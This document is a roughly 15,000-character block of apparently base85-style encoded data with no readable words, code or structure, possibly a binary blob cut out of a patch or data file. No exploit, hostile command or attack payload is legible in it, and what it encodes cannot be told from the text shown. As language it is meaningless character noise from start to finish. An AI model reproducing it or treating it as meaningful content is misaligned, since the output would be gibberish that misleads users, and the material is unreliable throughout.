zO!^+5EIU>;Q^B_L?-&rB0;9EM>j^>b@mn*jt=na;n61h;Y6gu?fV-qh+oL&& zwy*!r+_j(H;1we|&*x1_Ac~GU=y1D}w3}V|dbi~edR%;R)Ib74uRp+$Z|~cSXZ{|8 z{R*1H$I|aYSd85v{`*Wdq^95aQ;noE2{&A-P^S_qXC>uwk2tCm0oY`-J+Zh&xLu>L z!nfg6i#%$ZjT{PbXx=^tsDodwUzKHA)9$?)_23uD8Oi;mvf%Lmf{f=Ps z3GOoRP`TH_xgxD_-H1A@CK_gg+HjY|V@#jCAgYGAzkvC^!B?t>-=Rq8WTP-!Hao>x|47#C3Wvc)NCcFVLZb4=4`w9p0R~iKEW^G8#u# z@dBdznH7b&xG;kF7BskLG@P(y3qCylgCyKw9F)3MsuFjfmyKBb9r)H7==hnEu{ReV zZaJNGS~4vzGO;jR*ENnQ?h;t39DEMh2<=Z8|FkPi6>N@1;a7G5=bh#nOGFp)-NvOWLlh+Bk9oK*%h(z~$Mo z^>3%%S_+RnHwI~PKbZIp;u=dQ>~w$U{MF6l5lLhYTANb38+`nH?##uAvpD7xn?oeauQX%* zHL|Q`_80NbV}%nU7I~bbnpM5hJ{tbSGvod?v+Axq;45Vw#+gY>azA*z1xq)DN<i^7WYH z`hx2G{s(D52Dup+p?9~BV~4OV_omz9BdH_b#I(gFVK*fY3i^Mvi>7|~RSfD=0hABu z?4S|ExO@d+f9q&?yJKwcyt2*i8!dv%5+I%2HRV*SShvSx(VwDosHNvoX>-siU#ZEt z0VbwmlGH7{c&7uMU7Jk)9-NB(VsQEo=vfH_M-p;Y=fSw71PJY4ny61`6Mdg@f&S4& zIOO7Sb-|s9KmvDRs@ohL_qJ~Sjr#hJZ~iSuABU!e8+VPbsp4hAcWKs!3$#U|j1;HT z(I(>&J=34R>Qcw-j*SQkSw{(YrZHZ9eSe+_K)m2~L4*+eUxfF8Z%e-W=M7O+hl%@! z+T#Judw-0yHR5yBx@xb;uV6y{RxbBxhx`ME_6T^QFfHWk0O_IGdPzLH^wz ztIXR5c^}dAq0sQH{7O`gaO*ygR}*U!EBTh^JFgUEZG(&V*2(N~GnV6j$~?Yy`JaB> z()tsa+6aPudet#dy#O7Aw9#&%e#954aQokssVn5k+yG&m`u zbiYdYE_Id=pZn0i%!`j@jq)~6h_&=cZ;O9Ma3BThv6#Pg+Anj1|9qo{aeso_V)#s~ zF>G`FV~1D3^o&44M>asI-cN2Py)Trv){FlBE3FfM`h@rK8AEWBJa;i_pJSw)0jrWw z{uY=pd3mPK_E%^Ef2nw_2Y<0DAzJfE;*rP816ehHsq07EzK5aLw0?ZN`a#aw+x z^5?G%if2X&qdY2ZuHR%!V!jlm;(0BZxw#Q?yF|_*xtGqIdTpIKi~g|x@9@&j%=*mz zX(JMOpa^45>AGlvTlLo}Heuo*(_$NS4N$0;w|psT`?Z2Qqx^aFYpo9zOmbE@QQAC+ zsI9=OFY0;qUA;4CA#i}h&ZihA+B&!O_J5ie_>Z##|4&~Vn*8nNP`O{D+$T_;6s&*S zJhbRxmwFlOEE9l+ zkxD9N9a_!4fD`FloJg;JKJ^<{{N0M0S=;@4l9zWdXa^&$Kd)6@9@r1P={{e+)T)vR-E9s{H9QS3j#w^efB8!Hhp)D3!Hq8? z67#99h@AcFUw{1rKUKdtm#LVZmUnEp{duxO>0;&i?i& z)P3)FzrTC~Sk%bA1>s*7lz*I4$@}|CUS1Oa&f~M3tR(q&9-rlSDFGBReCYzszeW6T zM;H2UIXeIQ-3!Tv>cLBwep`(Hz{~vugxu;cLR=sHh8g*reEF;~zAk3PBHq#d2Cnq) zq4Alsl#ph5c~%saqR|~8{R)| z#joZPp5kA8v6gf8Z71Wern~;Pwlt&z0x>4UvUBmbl~6L_)i0x}_~&C}-u?E;w@Ltk zD6vskBKd8hzfXSab#WHqCEnnRzkTu{of_cW|j`N0kHC#AO|@0dku5Izn_e?U5(J``Nas{bG$;cmHB z=j6fE9yXqDYJO7GIr=4{Rst!r=qZ_m7M?)IyDwr}T-_O8|8e%>t^fMleX6UsinA_F z8gh}G!Ml3@k6-&Od5$1tRCRlUz~tRO`yv10zdb#VC%eXWPAEqH(J#Ia+_&9!Jv$i&b$daAOFvj|JUD)(f!v= ziM+4Es~-LO6Z*p^jPTY#n z=t$h62(5K5%8#JpNsBlwq-i(*x0H?^P#69q6}|4P#aX?EmjCoL{^r8LU=En}CgfgTBCG{9Fi1tb+joH}F()0hi}TQ0OhVPqriKOEef|yY?5_ayDnptBlEhDZgDa5X z*B_dZF7B1Q&b}dYwTt%`!(x_0!5=q-EC)~4_NE8+cTbO#5CYyuDLjmP^3c+N?@z>e zG*W2DpqkUR-5dzLzHBMaDaX~*6HRE1(>lMPWO)_h`x6Q9P(>2;`&yvtJAG2uf5(LQ zUI$jb*DzG*6{%_Mv{-_y0mP7d_;)_BI{3urYSH-2+lI!*DI0PeWx0saCMKAx#&pOQC7$R|!}GBUD)bpsUt#u!{X zO|?o!)GL6|e6Uxqg(#m;qONeY;200vD(m^5f@{gZ|pXzGJ$`2?l25|L{<~ei2 z=G!w&9oWw{w`i05$o^2i{u|PA-v>BQ*JS4;e41!U-6xYSN&mVF@}cObX`c|$&+>R7 zfh}acLaxKM=y+4ji|t2Vq21b|CYfbPrQ6gN4t0o?k?exLd)NTKKCeKUgkx9x{M8>D zPb!8_F=+@#ea}MM9;Lkgkg_r!v-tu-iHhk-nGyZT0|S^`TN^cMZS`XSQ9geUXuoEmjdFVQ<9skC`3K`71J0_#p z9Bxd_q3hs_*eArCtosY|&}P{MsoJxeHdGCtpx0LI4XlmdZ`fe-bEqp$%+;CNcb}sZ z>JnU6*s8sD7=uj}ckf>r~x3zXDk=C=n79{-X(|-Y<@5{sc2H>dh#TfFX zf8Ei?$O8>@*YYcYxclDPP>lD{Run>pj;dg5g3jyG=);Wnm&^34j+v>+g0l1aP->t3 z0^kcRqmhniE;-Km)V}yW7zyB z!ZB1-BGBCx0cz|nU9xSsYB7SVOm%f|z_Ip-io$eiWwqeI$mmg9zlIS%!Kg-i98JcH5 zb^HGFe+~kkOVB$SxixTFOQFfXq1dklfR_@?8?j(6otqPhbmMjGT2Z&)$26=9!f@R^ zC3ZXcsD*5%a(RT=lo=!4BYb{Cysk3bHwadIU=SSn`jG*o z)%o3TT9Au^8ck z5tz*jXjo1@g0^oJ2q1>C3v982Tht>*+i?g+3-zH&yE^qPmNK0Z%xY=PQ|Q3}&~3JD z!~lh;f9Ps;( zDU*D$Ap*P1)gTQ$(6ACfWZ+v z1>Dx2@bS>r^egHm28j~c1gVF%#96I-Z$gkOxdre{^V$?6W>~_FYRz`4W2?+U{X~~{ zh&hf!(?CTwlV-fUZ3wuxm`B<dGdYiFN*aV_8J}(~ijAKRT-^90t8sau&@3%Q$vjX7l}p5joK) zzv6QEUXqC>UVB#w`=;UMc+P5tgoQd@^{!;wxMY^n8FF`0^Of4B!V!zWj-t`<w+_i!Q?^eMnuvJlB~*eAD!^P%fejw%zXWym5MeOQ#!dTL)zWq3HW z>-4ar$l<8|Wh3wvIk?Iekgg*MA`uZ0={#Iq)o44+!$)5fZ*g#RU$v?WjX3&ndTKY zO6lSvvirz3)!MgAB@sEJX?5Nd2juP;t(La2IvLH(25~v)LOYUQY2}$Bl-Xj>c=>t} z=0c}#7EifOF5-|z#O%&Udu{|u?sIqJXr!A#yuTFYpvfg4Z4qK_b^2Yd%K^LXw?$1< z(>h%N5o+uF%zjnZ)ktU^EMHNk-mG8bf^BX2V3AN(CGovUbhQ`4ebY>#TpSrIqKA=s-Z&@!08;Au%Seg+yOu`#THZN$!Ee=Jb?~)0mOk7F%=x z)x}%i8Gd|!OZ=V*lYV$|r6-!F(Ma&&FFaMshd6&!*^?MNPk%qT3tBHWCaV_4Op*k~ z#>O5y8M1y|%+1R;Y+#t+5w#;9t#-`QDl=FAQcbD<%>e8}JBL`h^^_WyyT0t~XaCb_ zq$i*5$H=X1xuMmj<(`h!Swvx4#Dt|$6MQCSfpCr){#vV#7!-%*5anv#0)1D`JF-HR zV5M!&Z4S)b+|pBPgdS{}XwhPFXT}m1BV0wjs?L>V+x(t}dX>&XeY8zpcK8Gn$-$pF zR0x8BEDnBzdO->g7P8vBAAK$FK~JB|^GJt{qoT5;_8c}5?yrR($tZ5*9h*`JV_Y|; zEOc8qD<*T}HpZap3~tkft>N)u=_sXnT9cDPT@9mj2~X_GA=rSYjq>A!^zN_0drTGB zOcJu}y=d9@vWWuj`_$Ho*&{voV!&F23x&78>2-YK?85CUaXBAwb;w9_AXAZ#j78z1 zmVGjL^aH2XKh9o|0uJxn*PZk~Yngo-K|TieaJljMC;^(C$O zkaV;?ira==J=ai0RkaK38%;YkGBP5sEKo3=tSok&@udh<3rQgl2KT!e)viYj17CbV zB&7YcX3fw_?qmYb=XsQto6tpU62Fa8IU?V?+*D_`=^-@-t!p46V&SxJsjH-$qtIM&opq!zuWvNcvE;;r zna48zv_5EatX>iNAkZ;h0ee&c3(QfWSCqVR^WHPm*kWQqv5vnw2`dlV=d+>k1Xcvp zyR-+XN%i=-mqD;@%3{g~>7{*}jwp+pd*9I19a)hh(dKkAVRzHl$F0=Y4vyeGW!}io zFR2rn-`R36wSaCHbA`_wOwG;Yg(V?y$=Ml>-XeWT_@vjyWT8sft02h}mw^m<3h+#C zjHJiwAUD5)U2jkv_Z$AQ@qES9T(B;n?HB{#$APEBwE}Rsk5}8Kui(D;Fr1Y3&nr~_ zO?DDu^caIS~kf6SOOs5t#S%-F{G4-^W`k)`2W87ty)WI{bCC4yr>N8Q63M5fC2WVxu z*|vRk7r3edf=kX>h{|np0mMCWpEcART~A>&s;jNfRoFehU5G<^D((1FnW{jLaHEL# z`u_DjPpdBNTET}OrakPd5l zI~zggbts1->d_{5XIC#N%<^zutqogi7Y*`uJ5);WUQ8I?_1;S>JNAZ{rl0_|Iv){X zr(u+Guf`zM-m5z7am=-6HBJS~Q#BQB@T9gE@4%Q=j9y(nq0ZM;!j;ASdVMfDUZ+)I zov=CxRvg9RrVt9j;5Sf_!gnRhxwODBN91F_j{W>G1Lc786NMc~O>p{Ff1<=SNZf7b z?hQdpFj~w}RNJrPJmpxpno85z+S=Qc0@g%TTl2c@m<|9g&4}ZrjRqiWSeuql%n+bv z!ki)Z7=N~?mYhy>6XPc?Tvg>p%*&VW&!^NJ%@yS|v_&IYK*;OJUHKF{-(#A^Blxv& z5T(}7;}dD=5Z1xapaKa}r@w8nPA6h9KPtmNY~dY>u**u!<3SY4l9Amo*@bDQ!GA0~ zTijGT87o_p(JeC@XM)k`Di6f0Q1`@{Ge6)r8&?<^$x+vadU(_#hFKG{c{sar_XiH= z1jn5V896w#vF__n#Dih9DaV`M`%+M2<4*_#EY7qR`eTYZ*vzREQCi9mQ;Lk#b!txU zk;Lk>Y~B!5NP|c7Oy%Ag{H%PA=7~b-#@le0xlYDUoIcF*pQ3U5-t>0BLO|nDc^f2j|^TVu;^Z;Oq*xWdo2Z0NYCL*Vxa7nA8;anKg4#4-kv!q>=-;NV?wr<@& zxg?u90T$DCfnA3R=H|J=xP=ANu#r^(?Q+Y$b>=fU0L7dM@MW2m;mEm4yKVrA9kefa zR-BrnQ&qyIUtbH{MXs&Bbp~P$1BjDTd18akTQMQPPU=THi)MxKgK$z1?se=2a+pT! zYT3z)cX)=C2sz~zpHuf3ZBEx6D%c?Fb(7{r99N=&cY0hO@r?!3>KSRGQa=#(N;^&Z zvMP8ngHwskJ^Vu}m+T}(xu!`lh8v0wLDC;^Mj$iZjy*vii$*KmB>KrwR!UXWw$ zq^Cx6Vp)$^e%ykgk$Jw*cL^A64QU8j!m((i-8LWwdMy-?)UhgYN!$e}3*ef~Tbv1Yk?BzU05;$(4ob!1?M1x9Uggbj|Q7Aic}MwPLu z4L=haa!c_(BCaV-+9)Hv!=mV=iyg|-9JZX%+ zEFrWvv{d_ohJqr`^STk_zMdO6=$chuVz5tI$0bGGs>AV{*QFeidCbD`F%4hr?B5b<5LFT1B8B8aUdtyP{Vw|e_Q0T8bgvXl}YAQ~^< z(W@Qx09zIp08OXsbe$lPqk#tp?q2Ro`@o`(S0owj>B^Of&HdyF{NQ?IE6vLut!}vu zXW%?30t&w(a5@77Nalba#jo$VtA4Th``5PuJe-EU9j`rtlK=uQM8Fyu86xL(Zu>YM ztfoVL+*S5sOqB}>-(1G60GNw4)VCh0Vp1*uq0!-l9f0axXYb2OZlV>Q27CK5TTa2+ zs&8IJb5&vobK#1M-3c%?BGJM17h-Xnwdf!cvQwviIo24!+*=A^+LpDOXHD`jm=o&D z!CR8lm(a{nX^sbP;?SMRPsP`)k`cm|r^G@R}&~?SEs||CzaERswnf z+0oZ8yGGz4D7QwilkB{Nr{^+*U(inGab6{35umGyX}Q8q0L3uVkNm5s`_WcQ7kC16 zcklSI0jm1LFVRfrWoKUx0IWjR$af5bTY3|1&g>T8qnO*l;63b2>1u5Q zSdd_z+UHNMq4M&_;hRI1W*O3Z=_|6Y$ihJYdB^46O8wdZXAYyw1yH=qqY}1D*N`I6 zqsT$ly4v%BMVbXCBxZWbMOd)3cStA9WHK@IO%Ur)x^y6AiXQ~OYbt5C&V5hNF6iqz zX2PZiQhia6V$vJCUeUF`g?js;Owy$LrlOjiE*1Yh;HJP|e0`Iw44rdM1;R>?Iyq-| zGiH$~`ml&-PpiHIfOv&)z$CTE90q309j%h4)&u!BPhLI;J9Rs8i+J1BUY2wCS6x7l zMKH0;G3?k_jhFUqrmJDX9zCphbm#QoYf=vYkMf!JCTHhW(^&6ukG_@o$wYI6f={DF zaf_>ubJQ`zdfncoKGCg%5u|DUaH=mNH)^+^G75z1h`rR(QcC1$s+m#-4M?~Uu%fbT z9O3FkN`s@>+7K8)%QLw%iO*`z!ZtHrnpM>lL}@v5MyDMYG#usgxMzX?Kem@zUpjdH zvOwYSc<%RsEU=EQZ_kvv2-R)SZnr9?_pDU!!+3dduKuLg#QHcyo};L^R`=^7HUnwq z4Un+Zn)ye%C}+u|Y}>|67Hgo3pWrj+Xpk$0uSlpIw-vNGGmWD+0KiXnh~0G> zSit#m3z~3qzHQxoz~^b~W;6BmfMkrTJ%9eZDQAZCAz0n*eqYYY&O5_AQ0<5Cv-KB} zaWkagGTYC5^Tm3OmDDj^qqXnk!QVi=s`kd$yF>Pqp;~g&#gNg52Eh`6I5%OFiItS; z7J-)DK8-S}n}Owg*KBJ{H8B9F;sA8u zm*pgY@Ew$+#^2}^lG4lc25b?P+YWN}4|1N8yi$Ul*#Hkcmcl%~?&39|?yXtUY!wq?Pc^_ct&n+f- z*M~MGy?I`Vz6aQfT_BHvs;;ucEoH9K_-;3K>)Q)q{nX{vq6TZG_ZHTE^fL<^J(Wy* zI(BW$Sh!hAx$w1~Ol^Z;4+>)bWkoI>Qa)y$yySOvjq@kuE5>|OKWXZ(RDF3FHyVy| zZ_|Em3^*}64tWepQSvqB-YrUb$ZTi*bygaqx-SX(#jJ=l6h3D>g%Y}Uc+1W+QX<{T zYZo8pE@adHZ0}Qz00QK5?DjT>PZE7KjQqOf3kW5Ze3IL{^3iglyE+LJn(G%~dRY7) zNH%N8Czjo8je2Ts+mhp7uJTym`z0q;7!{ZH^d#aol$nEg~heAk2OO})(9+~p$g8N*ki~_KnjRnI`*zuV)WYr@G$=R2@ z!#EKjEGIxa)`D4| z=(4Wy*FI@aCJrmz9=9l>TCCtO-96(xf71=KW|khSQ28k&BzfBIN?7#gfjwsn@Xkm! zoqwROStEUE8V*y;#*A20+3cyx7>D;sAgVUaSx?lm&FjC{RN+n|% zY{&{e4e|Q4Sn9sFaY#d;wJdZ?-DPeJ=mEG_){%y{WM<%s9DJt*6BBREd=s) zU(7CLkW&WqPad$}w-OW#AV0Xuxc6j9HT~0Yn^_hBdEar$5%_O`li}B$9t)q!h2=Bo zsVLtTop|znN1rX!td8+bMp%OO#}^nk@qV%i;>sRKvFFt zSx<|<_W)oOKS(~=fBDQL*%iab`l53g>?{0s2W%-`KHt z$xEsg9=5H;+Lb1iVTfT3lGsW__4>Glg0<&+L|~D`aOGCsmv&MCNb$+;u^nqt&MH)O zfFE?VdCZ?FMY0#fBUXdU^-4~$MP=jq+XX<&SZJ~z_IL-4Y^@07T6nl0YE!c|oV-Vn zX(uLc^~ul;EvYqyMx|#6b6?vWH&VYYf{nL#IQk0D_ZMFr^c$*&?~6}`E%TslXmYh{ z5)l@K8->LWWjJi<*~W6OMnsya3y#-KxTVxLc03uG58%xR5C~5K~9d)JzYO$ z8sC0!q*KXYRSCy(>OHyAO@20xivZX*OQ_myH8l&Q+(>l^$+)jwmO zzRcTkOi;(QQJz!hVQ-|$*aFa5yL5KPcjR6OO}nI7_)^Io;-VYfiV5Ub*bSi-_>Ef6 zut#Fzj;{IfWenZk=}krQSfKwtL??iimD0Ha_!UWBhi#L9qW!gToWflW z6Gq526RXxu#cTNS0Js$oGh3Zh#9KL)xni5H$`OVk-^eP~W<1xbY*#T!bj_>+d_=}| zgN9+6b`v;=J8Yv?6uRQH$uBqReouWI5U8eLkEMyQ0!w9R?ZM@(vDO>kOj>=+^RwMw z%z7Yh00|>{kWXmx*6f%gkN_VS!O4>j^uF<2Ybf(KrdSXM++`wQ2s0%u1RVa*FK4H7C9Dc^0xqi zUiUHb@fH4Jlm2u$uy@zg`?rv+57GXBZ!Ytp82z$zv zhP(@S#W}h6khC2TT**pe#2RLAPBN%ZfJoAhKI~%!AUA(kUjX~$_|L7qQ#*~sXMQgm zHX!Vjnt$qKoz%QGtZgIUeR}NNYHph(V4=~psnIH}eCcMp37?8Vuo_#~iq-ClmRuvg zZaaXeDuN|$x@1TO&n$WDF-NQK?mr9A{+oY$%8P%crir#_B=;stZ4H+hZEx6$RnJ)v z))yc$Gb^(&%b(g)g4sGXCq`G^Tfd;W*2XvNh4zTNo<2VY{1bRdSyFgtifzkeg@E+49_cP?yNJ;q-##U5D2-xO>c97L`x;DXKCy+?o_&vLr4k+HlvzamzSJa% zI&G`W%*IR%UhG((L-1)N-bmY_)+}6_8eTVSd#Y2TfrU{Ij*PZwhCUki_Tc_3-%);? z=!wx<_cqk*GWDKz9ru1UdX8EZwB{*%tSHnLy>rF=Opa`^%hqhjY6QiXsoc(Y3St+} z;WK0S0k&2Quy>{P6oLntYBRbuP)`7!e7mNd(E>9bi|Ze zzNu%=LyhW7VqjB?F<{BjTcrCxP4^eR5H=dViaid0@<_$8r9rO$EfdF3wsNEQy;+lk z^;!VV*WpN)-40RnW6#AQ?M+iPf1Fs?tP2**k%`e3o`Rf0G}ux2A)jl_>w(i%<6D#B zw1Sq=W?)O%sz%sFCIYDwMN*FR*%0qMP~3C{t9*|?oRtW^A*4h$aCCuLOEJtpzQMj* zL~bP{_ukh6yZQE5yz63;E{Wc!-1_8Iz(tlwKMY`+1a_~*JJ%~Hf)e=1QPFYh<_`2X z-c!i}3%=N2a2PnTC){bBN-Gi3V+`VSIhTM;x9C&f_jyb#_Ihs1%(%@`r^|;`rO1X5 zB7>jpB75QsvcOE3rMFKEAUXT>pQ^$m@O<^Xj|JwcZGJF+)b%=;r$>D-NCt{22gBfZ zDKwTT(qXBWp2;=&v${z%l z&l4@ZlfTN|-ING&3Dh~SNhjyVLQK*>bLyl9GCh;H&}I1fgqkx;F(!#TDs1ePa&L5j+wk@S(VBclG!>umyUuVFp5_c;6eUBO@wTq4 zygbnuMCu%|_)ZAU!+ntXI9H5}SGe8h;eq9Q`L&$qWw{pWg{E9`?EG?eYOgpfn=|_D zPTv%T|8!#Dich0pF>6O5Kiqy%sg8_MCb0h=Qj<+;oWyF}G~dD28CEPOM=kD@adUm2 zGyaMAbi5@^*LaB*D$!NLH&NU>zyD-oXNnr#uGt&C>i$*l`5Rr5Y>bhng=AG55BNU( z*rRr_dP2N@gS983<6E3ud77${dR`9VFeQB2tOub&J-Mx@PU4{Ho2&TVSz&$qw%jWb z1Vy!}#f=Ax7PZ*K8vgT|6m6e5NW0?A>h6de^~;MCdHByeNo5s|OCqNsRcfpAYuu6* zdeVuebS90NiXxjk<*XL9hq1KO4F`u7u<*=hk?*L7;e}|hIDTlWlyJDC*R~w;lAUYm z%Cm?kK0fCz#DW5(@Z2P`Sq4ZC<0R{rPRZMN`O2oZ-_a4dk5r6UD`{jO2Z2RQG4mZ! z7uHntl%fb(l^%0xvB}-XV%CYGDK@dXgi$X@?)Gi8Zd!qaoZ_qIyIQ*Oe&S)-Ga3T( z_u1D*X2tH9Q5v0Z<2zwDA25k`<$qz+j%y_LW~V14w+35i|TUX(}4$;VlICzK5q* zP9|FU_`FX%7>l#VQ#=G4nK7~gd=*%_E&;H$0BgK9T1>ABHWAnWSL!M+F!uVb_&h(` zke~73Z^m8<7<)Aj{fVWs@e8#;?W ze1kx76Arcy7=3XHTe?kfmN`Xkdr*eXGhL2AY1aIQE4hh54;e)4C8$SGc*v3!jz4|H z5EA}^k-&I+5?g^=Kr{)qlb<|1#JNkv2lX|~Icz4)St1?NzjdFK6LD4ENA;Zj};fX zIywdx=_}o0)<)KaxjObX|F9O1`^iG~motR8qC$+5Z;V5Y0R$OmqnwL8sdxZ=%N1pz zVCGqk03|_)LZA$`o1tfJxkU`w@vYyEmrtOOn&%l*AXt4l)dKB5j*OWf+Mk_;Q4g5Y zrW7B}iwm&OC~HG?R7w!v{l)9O-Sk_af#hT;gEGmDL6pF!fQrL$wx(}6Kf>#Js)H0GafcOb`*1!D9zPUo+Fj=V&O%U<@P=* zI1UwD;RT5=ev`T;pZh8QS@8poCfUg7-Br**8u_N26IcP@<@>7Dhoafch2$6xfSM<& z9%Rtv_Pe-kDZDUy3Q|n()jDiNO>J2)vgEgO&XZ3b?kq!@cp4klM~fSAT`wmOGXeWs znw>KvD=V&0x8R9Q_dAfuF!g24+I%E88$L&SdYwy|Rmbth7}ypa0ID0*IalV9-{|5jiZSuE5%}__QPpT<->XG;ko$_Znke_pcfwk+6YX*1 z{V&$u1FFex+ZukwLXnPC5u_^!NbjH^Lg-ROnn>>;(n~C%N=G^bQIy_$*C4(3DoF1g zLJ1__&U?tTiY*0zO{~f9*qpXwsb`szYPMOSY z->o%E6gZD>=*6~DyP{W)ZC%%Ns$FqYUW{5- z2WRf_Y&d@584DNcc*lvScJ#QMpaeeTs+C8SM2KT9<26LsBN|LG0A#j{4`;-c&dU<>sk3I%}u9<;#&(YMdJ%Sy`x?d zjpfF|vyyhn$Q2V8SnIDA4!eQ_n%d{@3T?etoWn!n@~p#@Ap?mfC2fGE{m%bAaYe3e zk<~$<|7R3tAg7+fux2IRz;PrEeb`k*$5`zV+)AM?4*A?h@p%u^sGqsln{jOCYY%fX za!{9&M=f>64JAI;8y$#nicT@}+MKFV4?>?E@P>mScUx^anTz$AJ3mM)`$oNlY_*3H zlWn)sL!~-h#(6=q`gug^EpK@>S9ZJdFHIfRY6$Z~(AT;g2*N_D+o--}JL!hcjp8@T z3gowdCHH#i*VUlHCbTyT<-O_2!7s`^)h-KRhFVW5=9M<1bD5|OogY3)vwVZ{0z-RM z)5P5fQuW610YI#EApbspb`;^bBivL?;RD()rc^wJG|tvli*aC>+k@D+a}K3axOQzc z@J+sd04DyP6$yjB2|oZ;x)`Sb)@C=~iJdMVdf_1mE!}CRHt{uO@LpxYWV}G7Mnyee z6zOcLVGGm-9WSgMKYEDZLZ9<7n6qQXH08EEJuwZ2;4v-8^Enr%t5*Ghm-R_cO}q9< z;l2`+3nB(RI^I3|flu<^8cDKH)Xt`_eiui71jHv;9Q`A}(N}kDlB8-tI+|=(SkroR z_C+&LyZcUru>ZLy3;x~j1)wAZZF)F94d^}$6&Q#Nfe{3+Yv#mp1xnhu$sTa-V-5Zv z8!yhLv&Y%T#Kfq0*TyNXHAR9Y?&#>?18t^b8SN5(cV!&W{>!y&?T_mE#>bxyRlArK zWZ$S)b>Tqz9{==M2III0r1ROEAxjKdS2=92a3Fj^BW^ibfx+dgojs@`*w01ZIW-)` zM|X0fRde&NM2c--u`mJO>Nw~1FiI=J!h1{cG@77QUQq3Nd!^+0cN_uR;p`}*c8}-3 zzP({uz!i7C1Mm5@B43zsr;vBLqTO{6ARvF_0xE!^T*`w@|7*dvLlgjmdUTS zgjLo@gSJL)h+qyOcHQhuKH5zhC^g1yOr{sK!f5S<|PY%WCe;(4BwDYWkgpyOY-~ZV&uW*;fgx;UY zT2Jl{HOhcq@|X>;y0`v9iaUP*h+z#Lvm<-S3d8+R8|#<2c`JrG17FvVb3^FAtHxNe zdVLj5X06FLtl>8wqc--;puPY6!8gz9A8=6PrGUIc=DA~aM13L#JPgW@?|dZx^9-DT zi{h#5O-WeL$|W~RY{BsfxhJPyp*?`bE$D>pts|t*tXVqLgzQEI=Qu-e=mCT`-B3X{ z{%C3w+9}JxxtYvH{@Le3ah} zj~9{j{aZe3>4KF&7XavE39ns27j2};AcPYvsHHNfXc;xl`UPV}9P z=QfC+O(2QRRfD{I)(4lmyeyIS$)9I%a4?LO=4@w-n~zmYOf1)DD>ci&ckH-oH-Oq0 zPk*GsP7m9%2?%3s|CRv`Y;vDxmG-nT=Q`tdv8;lS$JZS-<9cMsR7V+!k9kkT*M5_b z_Mn6Mc1h3=20tap=G{}1(Nga~zq3O=fEyFkoU=rTB2<$2+05(jToZTSv@R_xlXDlc z?!P@$XjJ!l&pAX2^iKo}3=BfvUAkHQ3OgoQ0L;*e62ij2Eonc5&D%-K%sXPD%(`CF z*MW}uGN=Z}Fsy6Lh7vbIq(D2F7^0YKR9EQ*riLKWEJJ7#e7KJ#4JE)V@}8V5xNWaA z%3gI9Uqqdg`&RA`c!pe1GPWEkCEpTITWc=?VCCo=IH0j+Tzj)r5r(WTY*ByQ+su^sDFcL;ZQ9J$aUue83M4l&(n zh0f{Mj)u=}M!vZ^1MH)Er?Say3&vhw-IfH6WU@yF=-%5!$62uPX6{Vq1U)VB4QRdT zRQtp%u!tE}-o5EZmnI+UJ=#^wtLiHsl&f2mJCHLTOUk&TLKF;sc8u$^k^7gA1u0eQ z^=gglmj_d8A+DRDR3qSLf#2|sT+%Z@OPr_&Bc}_;BtefrtH@Yt%nc<`Z8OB~3fh)+ zjyx;OBev%TPgs#K<CyE1di>Ub!7CcUM z?GX7HLEB7X;c<@zYOj*6MMN?ScVDX~NEdX z!W}FUyeP*SaO{Hao8+;E;1v8<6h6PQ`75l zyx+{(m0%B&R5xv2U2uC}){KzWHFIu(*Gm>f_#ErU*}mMOwyo+(&Rs~M_RA=djnPS3 zo}}QkgPsDF*KvYAr8Qj|v@s$J?i12Fp2-SWW1m!2!n9Hz2OUtqi*U$KH()f~5`oH- z`R$$=--wS-vuU`q$%<5gZaCb6?&oj_5lc+vs=ZXZl~>w7$Q|F+knT8mL~S&zzwr9u zJ3%lD?4en8s8sD>RePn8$IfJdoSMZKB(?FP%D~A$eGMI#PN}iGx+-^;Uu4@)?&oIW zLE+y36{-h}u>a*Pg-x-*jHTL*S_BwOz7S~{b#V{ZiK|22al`@9Aj%VhAM=q^HI_95 zc*O>&#C38T-@u>j1kmHq$>QR z2nsbU+lG*qpLJ2tsqxg(wS#Tc$+5i?=Njt-7^ozFsZ32`OK_+Oig{gfu>}tQmU_?u zW=a9GKAH_(dxV%4qOV!@!3&NBJbS+@ZbqBc`tgF99Akh9x0H|-`z~_QoD0)gUAWO`3`Gn+F|BBoN7Ws1_Z$Pfh zPjf1C_#$iAf7#)%nbfn0Iq78cg!YT0y>$F)kY zsi|4s@8T7a@YsG8h%*m5BdP_@bU&qFLO+4ExVWk(>Jq`E<4h+~Nq&)9V*LVyc`U6H z=c_nAMej$0d00LQP`6U=K55z9vs_~9w>btbCQ83 z-{#u%gp#A%Xn-GM9RqNu?OnvT)5qsZPSxuV^B0c zr4&jHmFi9F>gpJXG?v&l7BxXZyOX}`1#9*7SKBS|W4R%tPaB`;N= z=gU0)foYinYRlPV(;CpO&>029UFV;@w68dkn?K9+f(C~Q%tH^RJeaf!FD@gQbP^Z+sfQQqe`vmNjt$jm zqjy!=b^d|=_U5u&uRL5eCy}*D3eBzgBG{K?(TAr)eV`J^YHsEPE{$Tz*(@WOp}Du# zu{}KX%-LVgV;G>vN!BmR$2iT)C~W@(A=wV-UM_-;Tx}YmOw`T4nU3Lopaa%4ikkyL zaX;Xi2Wi}89JPKZca{!1#}Vo)@|?%**G~Y9<)0BYT4YibCy1RzRGU_Rg-1sgR1cfA zjoIWtfiPjl>cS)nktLoiwNO3)gv$U{vg$MqZ|~X~kR63@@>WCkwHmyS_Jek6H+T*J z8nkqrMiP_FI`aOL%^bOFssmU+H}D;9SvSd>*@jfo#7DFXY}u3o?H5IM0U?|Q;_Pe( zM$`&4crP>4aWisgS~hv*T}3Er_zE+orU zQG#v6j`$k`I;KL6Gc_PWe{g`twMZ~mNR};d$Xgvz5l{# z)>Q0hd%y@~rPDV${yE2O<~s+UYq(C1)g&h0%c)U9D+@p+@@BGcQSQC|Z@G~9hI@5| zwY662;T;fNN?46+K6OG`D5DzNZ4yc!`c8gIw(s+xcnS6F0Yso7CGP!w_lK%6nyeEo z+)1qyNHBMI^bu_qBmH~M5(OmJ7!^-QreV#?GfmVJgH(P` ztq#9dB!iSn^+8mq0!R{q*|kMc$jFyFD?KSztr532k_FvC-k1V7&u!4y%V+hLJ#?-M z;Ucx$axpp6xiVt0ON~k|nq%0MQ<=s*u^=mGgU+}aJt0wg88R+!8eA}>VUnhbq z8xf_g7yTpF+TdZxYk+IL(Jdl4u6opK0~iI*CR(-Qihb59N3tAXDODrlRH?sKWl98R zWiT7R1b%l{@%-%w;E4YLA3SQ|?y`~q0Mh|rF;go>#l*b8&UqawHkI?EH6%Ac0s$eA zTV;lj%|bB^(Fw;aLOJVvz9+kiS}IQf%>80MPS1EPIdLHsrcE4UXFF40BL>RV3jRLO 